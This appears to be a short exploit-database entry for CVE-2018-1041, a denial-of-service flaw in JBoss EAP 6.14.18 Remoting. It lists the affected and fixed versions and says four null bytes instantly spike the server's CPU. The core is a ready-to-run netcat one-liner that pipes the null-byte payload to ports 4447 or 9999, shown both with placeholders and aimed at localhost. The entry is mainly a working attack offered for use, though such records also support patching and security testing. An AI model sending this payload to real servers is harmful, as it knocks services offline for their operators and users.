JBoss Remoting 6.14.18 Denial Of Service

`# Exploit Title: Exploit Denial of Service JBoss Remoting (4447/9999)  
  
# Date: 14-02-2018  
  
# Exploit Author: Frank Spierings  
  
# Vendor Homepage:  
https://www.redhat.com/en/technologies/jboss-middleware/application-platform/get-started  
  
# Software Link: http://ftp.redhat.com/pub/redhat/jboss/eap/  
  
# Version: JBoss EAP 6.14.18 | Fixed in JBoss EAP 6.14.19  
  
# Tested on: Red Hat Enterprise Linux Server release 7.4 |  
  
# CVE : CVE-2018-1041  
  
  
  
This is a very easy Denial of Service exploit. The target only requires 4  
null bytes: `\x00\x00\x00\x00`.  
  
The CPU will instantly spike after receiving this payload.  
  
  
  
printf "\x00\x00\x00\x00" | nc <target> <port = 4447|9999>  
  
`printf "\x00\x00\x00\x00" | nc 127.0.0.1 4447`  
  
`